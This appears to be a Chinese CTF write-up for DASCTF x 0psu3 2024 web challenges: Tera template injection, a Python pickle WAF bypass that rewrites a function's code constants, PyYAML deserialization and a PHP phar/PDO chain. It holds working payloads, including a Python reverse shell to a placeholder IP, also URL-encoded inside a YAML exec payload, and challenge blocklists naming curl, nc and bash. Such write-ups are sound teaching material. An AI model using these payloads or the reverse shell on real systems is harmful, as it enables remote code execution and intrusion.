目录

  1. 1. 前言
  2. 2. 签到题
  3. 3. 西湖论剑邀请函获取器
  4. 4. const_python(复现)
    1. 4.1. 非预期
    2. 4.2. 预期
      1. 4.2.1. python字节码
      2. 4.2.2. 创建codeObject
      3. 4.2.3. 构造pickle
  5. 5. yaml_matser(复现)
    1. 5.1. 非预期
    2. 5.2. 预期
  6. 6. strange_php(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF x 0psu3 2024最后一战

2024/12/21 CTF线上赛
  |     |   总文章阅读量:

前言

时隔一年,这次连签到都差点做不来了

唉唉web又爆零了,埋了,得了一种打 DAS 就做不动题的病

等期末考完再复现,要被期末考薄纱了😭

参考:

https://www.cnblogs.com/gxngxngxn/p/18620905

https://www.yuque.com/chuangfeimeiyigeren/eeii37/oxv3gaim7fr89ed2?singleDoc#

https://zer0peach.github.io/2024/12/30/DASCTF2024-%E5%AF%92%E5%A4%9C%E7%A0%B4%E6%99%93-%E5%86%AC%E8%87%B3%E7%BB%88%E7%AB%A0-web/


签到题

请仔细观察这个链接,会先到 game.wetolink.com,那么,稍微扫描一下能有什么发现呢?

公网 https 我哪敢直接扫啊(

它给的网站并非真实的报名网站

扫一下发现有robots.txt

image-20241221170034012


西湖论剑邀请函获取器

提交截图那里,队名好像可以 81 ?但好像不是 Python 写的,是 Rust 吗(喜);不用RCE,拿到环境变量FLAG的内容即可。

image-20241221170314887

有ssti

image-20241221171013243

浅浅测一下发现确实是 tera 模板,此事在三峡杯初赛中亦有记载

无过滤那就直接读

{{ get_env(name="FLAG") }}}

image-20241221171243779


const_python(复现)

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

flag路径已知在/flag,根本逻辑就是 pickle 绕 waf 打文件包含

值得注意的是开头引入了 builtins 和 io 两个库

观察一下waf

"os", "system", "eval", 'setstate', "globals", 'exec',
'__builtins__', 'template', 'render', '\\', 'compile', 'requests',
'exit', 'pickle', "class", "mro", "flask", "sys", "base", "init",
"config", "session"

观察一下,引入的库里也就 builtins 和 io 没被ban


非预期

想了半天怎么用它给的 io 把读取的文件对象带出来,结果直接用subprocess库 cp 到 app.py 就行了

import base64
import pickle
import subprocess  

class proc():
    def __reduce__(self):
        return (subprocess.check_output, (["cp","/flag","/app/app.py"],)) 
  
a=proc()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

还可以利用 builtins.open 读出 /flag 再写入 app.py

builtins.getattr(builtins.open('/flag'),'read')()
builtins.getattr(builtins.open('./app.py','w'),'write')(builtins.getattr(builtins.open('/flag'),'read')())

写pker脚本生成opcode:

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')

flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)

return

预期

预期蛮有意思,也契合了这题的题目名称——const

python字节码

首先了解一下python的字节码,参考:https://developer.aliyun.com/article/1615860

PyCodeObject 的底层结构:Include/code.h

typedef struct {
    PyObject_HEAD	// 头部信息,我们看到真的一切皆对象,字节码也是个对象
    int co_argcount;	// 可以通过位置参数传递的参数个数
    int co_posonlyargcount;     // 只能通过位置参数传递的参数个数,Python3.8新增
    int co_kwonlyargcount;     // 只能通过关键字参数传递的参数个数
    int co_nlocals;             // 代码块中局部变量的个数,也包括参数
    int co_stacksize;          // 执行该段代码块需要的栈空间
    int co_flags;               // 参数类型标识    
    int co_firstlineno;         // 代码块在文件中的行号
    PyObject *co_code;         // 指令集,也就是字节码,它是一个bytes对象 
    PyObject *co_consts;       // 常量池,一个元组,保存代码块中的所有常量
    PyObject *co_names;      // 一个元组,保存代码块中引用的其它作用域的变量   
    PyObject *co_varnames;    // 一个元组,保存当前作用域中的变量
    PyObject *co_freevars;      // 内层函数引用的外层函数的作用域中的变量
    PyObject *co_cellvars;      // 外层函数的作用域中被内层函数引用的变量,本质上和co_freevars是一样的
    Py_ssize_t *co_cell2arg;
    PyObject *co_filename;    // 代码块所在的文件名
    PyObject *co_name;         // 代码块的名字,通常是函数名、类名,或者文件名
    PyObject *co_lnotab;        // 字节码指令与python源代码的行号之间的对应关系,以PyByteObject的形式存在
} PyCodeObject;

python 编译器在对源代码进行编译的时候,对于代码中的每一个 block,都会创建一个 PyCodeObject 与之对应

block:当进入一个新的命名空间,或者说作用域时,就算是进入了一个新的 block

demo:

class A:
    a = 123
def foo():
    a = []

这段代码编译完后会产生三个 PyCodeObject 对象,因为这是三个不同的作用域,一个是对应整个 py 文件(模块)的,一个是对应 class A 的,一个是对应 def foo


然后是获取 PyCodeObject,首先该对象在 Python 里面的类型是 <class 'code'>,但是底层没有将这个类暴露给我们,我们可以用__code__的方式获取

def src():
    return open("app.py", "r", encoding="utf-8").read()
print(src.__code__)  # <code object ......
print(type(src.__code__))  # <class 'code'>

既然拿到对象了就能拿到底层对应的 PyCodeObject 对象,对象种类参考上面的数据结构

def src():
    return open("app.py", "r", encoding="utf-8").read()

oCode = src.__code__
print(oCode.co_argcount)
print(oCode.co_posonlyargcount)
print(oCode.co_kwonlyargcount)
print(oCode.co_nlocals)
print(oCode.co_stacksize)
print(oCode.co_flags)
print(oCode.co_code)
print(oCode.co_consts)
print(oCode.co_names)
print(oCode.co_varnames)
print(oCode.co_filename)
print(oCode.co_name)
print(oCode.co_firstlineno)
print(oCode.co_lnotab)
print(oCode.co_freevars)
print(oCode.co_cellvars)

输出之后发现一些有趣的部分

image-20250113224313652

我们如果能够篡改这里的 co_consts 部分为 flag 即可实现读取文件

创建codeObject

参考:https://stackoverflow.com/questions/16064409/how-to-create-a-code-object-in-python

使用types.CodeType方法实现

import types

def src():
    return open("app.py", "r", encoding="utf-8").read()


oCode = src.__code__

src.__code__ = types.CodeType(
    oCode.co_argcount,
    oCode.co_posonlyargcount,
    oCode.co_kwonlyargcount,
    oCode.co_nlocals,
    oCode.co_stacksize,
    oCode.co_flags,
    oCode.co_code,
    (None, '/flag', 'r', 'utf-8', ('encoding', )),
    oCode.co_names,
    oCode.co_varnames,
    oCode.co_filename,
    oCode.co_name,
    oCode.co_firstlineno,
    oCode.co_lnotab,
    oCode.co_freevars,
    oCode.co_cellvars,
)
print(src.__code__.co_consts)
print(src())

image-20250113225724417

构造pickle

最头大的一集,怎么手搓呢(

在此之前,要先把上面的.全部换成 getattr 的形式

g1 = builtins.getattr
g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
g4 = getattr(g2,"co_posonlyargcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))  # g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")

g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = builtins.setattr
g20(src,"__code__",g19)

使用最新版的pker生成payload(2025.1.1更新支持NoneType)

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
setattr = GLOBAL('builtins', 'setattr')
CodeType = GLOBAL('types', 'CodeType')
src = GLOBAL('__main__', 'src')

g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
# g4 = getattr(g2,"co_posonlyargcount") 因为会ban os字符串,于是用 co_argcount 代替
g4 = getattr(g2,"co_argcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))
# g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")
g19 = CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = setattr
g20(src,"__code__",g19)

return

yaml_matser(复现)

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

很明显是打 pyyaml 反序列化,版本肯定是漏洞版本的,只需要考虑绕 waf 即可

blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

非预期

ban了很多,但是忘了url编码

__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("xxx.xxx.xxx.xxx",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')

直接打一个 extend 触发即可

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%78%78%78%2e%78%78%78%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"

预期

之前 sctf 提过在 wsgi 头带出回显的操作,这次就是利用这一手操作实现回显

修改 WSGIRequestHandler 对象 server_version 的值

import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",'想要带出的数据' )

构造yaml:

!!python/object/new:type
        args:
         - exp
         - !!python/tuple []
         - {"extend": !!python/name:exec }
        listitems: |
         bb=open("/flag").read()
         import werkzeug
         setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )

image-20250122001931230


strange_php(复现)

审一下源码,看一下主要逻辑

welcome.php

if (isset($_POST['action'])) {
    $action = $_POST['action'];
    echo $action;
    switch ($action) {
        case 'message':
            echo "write messageing";
            $decodedMessage = base64_decode($_POST['encodedMessage']);
            
            $msg = $userMessage->writeMessage($decodedMessage);
            if($msg===false){
                echo "写入失败";
                break;
            }
            $filePath = $userMessage->get_filePath();
            $_SESSION['message_path'] = $filePath;
            echo "留言已写入: ". $userMessage->get_filePath();
            break;
            case 'editMessage':
                $decodedEditMessage = base64_decode($_POST['encodedEditMessage']);
                if(!isset($_SESSION['message_path'])){
                    break;
                }
                $msg = $userMessage->editMessage($_SESSION['message_path'],$decodedEditMessage);
                if($msg){
                    echo "留言已成功更改";
                }
                else{
                    echo "操作失败,请重新尝试";
                }
                break;
        case 'delete':
            $message = $_POST['message_path']?$_POST['message_path']:$_SESSION['message_path'];
            $msg = $userMessage->deleteMessage($message);
            if($msg){
                echo "留言已成功删除";
            }
            else{
                echo "操作失败,请重新尝试";
            }
            break;
            case 'clean':
                exec('rm log/*');
                exec('rm txt/*');
    }
}

能写入或删除任意txt,并且写入路径可知

跟进一下相关功能的函数

public function writeMessage($message) {
    // 写入留言到文件中
    $a= file_put_contents($this->filePath, $message);
    if ($a === false) {
        return false;
    }
    return true;
}

public function deleteMessage($path) {
    $path = $path.".txt";
    // 删除留言文件
    if (file_exists($path)) {
        $msg = unlink($path);
        if ($msg === false) {
            return false;
        }
        return true;
    }
    return false;
}

unlink处明显可以打phar反序列化,path 是我们可控的,写入文件的内容也没有限制

然后看 __set 方法

public function __set($name, $value)
{
    $this->$name = $value;
    $a =  file_get_contents($this->filePath)."</br>";
    file_put_contents("/var/www/html/log/".md5($this->filePath).".txt", $a);
}

filePath 可控,可以实现任意文件读取

那么如何触发 __set 呢?

本着这种题目给的东西都有利用可能的原则,猜测要在数据库这里做文章

<?php
class PDO_connect{

    private $pdo;
    public $con_options = [];//use to set options of PDO connections
    public $smt;
    public function __construct(){
    }

    public function init()
    {
        $this->con_options = array(
            "dsn"=>"mysql:host=localhost:3306;dbname=users;charset=utf8",
            'host'=>'127.0.0.1',
            'port'=>'3306',
            'user'=>'joker',
            'password'=>'joker',
            'charset'=>'utf8',
            'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>PDO::FETCH_ASSOC,
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
        );
    }
    public function get_connection(){
        $this->conn = null;
        try {
            $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);
            if($this->con_options['options'][PDO::ATTR_ERRMODE]){
                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);
            }
            
            if(isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])){
                $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);
            }

        } catch (PDOException $e) {
            echo 'Connection Error: ' . $e->getMessage();
        }
        return $this->conn;
    }
}

这里专门给了一个 con_options 可控,可以猜测在 options 处入手

通过User::__destruct->User::log ,User::log 指定查询数据库来源,设定"options"=>[PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE,]],使得查询结果第一列返回结果作为类名实例化,之后的结果会变成属性名和属性值进行赋值,对于未定义的属性会触发这个类的__set方法。比如说数据库第一行结果为 UserMessage,那么会实例化 UserMessage

https://www.php.net/manual/zh/pdostatement.fetch.php

image-20250131230900317

所以要构造一个数据库,不出网的情况下当然是要选择 sqlite 这种基于文件的数据库,如果出网也可以直接连到 vps 上的mysql

使用 python 生成一个

def gen_db(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (

        username TEXT NOT NULL,
        filePath TEXT NOT NULL,
        password TEXT NOT NULL,

        id INTEGER PRIMARY KEY AUTOINCREMENT
    )
    ''')
    users = [
        ('UserMessage', '/flag', '/flag'),
    ]
    cursor.executemany('''
    INSERT INTO users (username, password,filePath) VALUES (?,?,?)
    ''', users)
    conn.commit()
    cursor.execute('SELECT * FROM users')
    conn.close()

users 表结构如下:

username filePath password id
UserMessage /flag /flag 1

这样子就会实例化 UserMessage 类,然后 filePath 为 /flag,之后的 password 和 id 由于是未定义的变量名会触发 __set,从而读取flag


那么进行实操,base64写入sqlite文件

image-20250202223314903

然后构造phar包:

<?php
class PDO_connect
{
    private $pdo;
    public $con_options = []; //use to set options of PDO connections
    public $smt;
    public function __construct()
    {
        $this->con_options = [
            "dsn" => 'sqlite:/var/www/html/txt/06a20bd1595de64a76f6acce257c8bed.txt',
            "username" => "",
            "password" => "",
            "options" => [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE,]
        ];
    }
}
class User
{
    private $conn;
    private $table = 'users';
    public $id;
    public $username;
    public $password;

    public function __construct()
    {
        $this->conn = new PDO_connect();
        $this->username = "UserMessage";
    }
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();

同样base64编码传输,注意传 phar 包的 base64 需要再进行一次url编码

image-20250202231613642

然后 unlink 删除这个文件触发 phar 反序列化,注意删除这里已经补全了 .txt 后缀:phar:///var/www/html/txt/189fbb1b7e7a116f9c06cd8cb4396429

image-20250202231718748

此时访问 log 下 /flag 的md5编码路径就能得到flag了

image-20250202231805699


好nb的思路,给我两三天我都不一定想得到